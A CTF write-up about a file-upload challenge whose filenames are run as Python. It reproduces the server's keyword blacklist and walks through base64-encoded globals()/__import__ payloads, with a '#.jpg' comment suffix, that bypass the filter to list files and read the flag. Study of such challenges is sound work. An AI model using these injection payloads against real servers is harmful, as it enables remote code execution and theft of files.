The Most Secure File Uploader
100
======= Difficulty level : Medium ========
Somehow the codes are all messed up and it seems that it was my younger brother. He messed up my File Uploader. But I know you…You don’t look like a hacker at all…Can you fix this for me? :)
link
========== Authors : c3rb3ru5, Nimisha, SpyD3r ==========
After a long pause we are happy to announce that we are doing CTFs again so more write ups coming soon this month :).
Starting with something simple we have a web challenge where it’s hinted that we probably need to upload something malicious to the server, for the begining I decided to upload a random image without nothing special:
And we can already see something interesting, we have a traceback error and we can easily identify it as being from python, the file name is being executed as python code, after some testing I noticed that a lot of words were blacklisted:
1 | blacklisted = r"import|os|class|subclasses|mro|request|args|eval|if|for|\%|subprocess|file|open|popen|builtins|\+|compile|execfile|from_pyfile|config|local|\`|\||\&|\;|\{|\}" |
As we know blacklisting is always a bad practice after testing for a while I noticed that globals() wasn’t being blocked and from globals we can easily can get the builtin function from python :
1 | $ python -c "print globals()" |
But we run into a problem now a lot of words are blacklisted and there is an interesting builtin function we can use to list the files in the current directory , the problem is both import and os keywords are blacklisted so how do we bypass this? My solution was to find a way to execute function and import modules (dict[‘function’]) with strings and why strings? Because we can bypass this keywords by just using some kind of encoding in my case I choose to use base64:
1 | $ python -c "print globals().values()[0].__dict__['__import__']('os')" # gets caught by the filter |
Another thing we need to worry about is about the extension of the file, the filename needs to end in a valid image format like .jpg, this will cause an error because python methods don’t have a valid attribute named .jpg for example but we can easily bypass this by using a python comment #.jpg:
1 | python -c "print globals().values()[0].__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))#.jpg" |
Now if we want to list the current directory with os.listdir(‘.’) we just need to complete our script:
We now know that there is a file with the name of flag we just need to read it with open and read() :
1 | print globals().values()[0].__dict__['open']('flag','r').read()#.jpg |
And there it was the flag, and I managed to get the source code of the php file so here is an extra:
1 |
|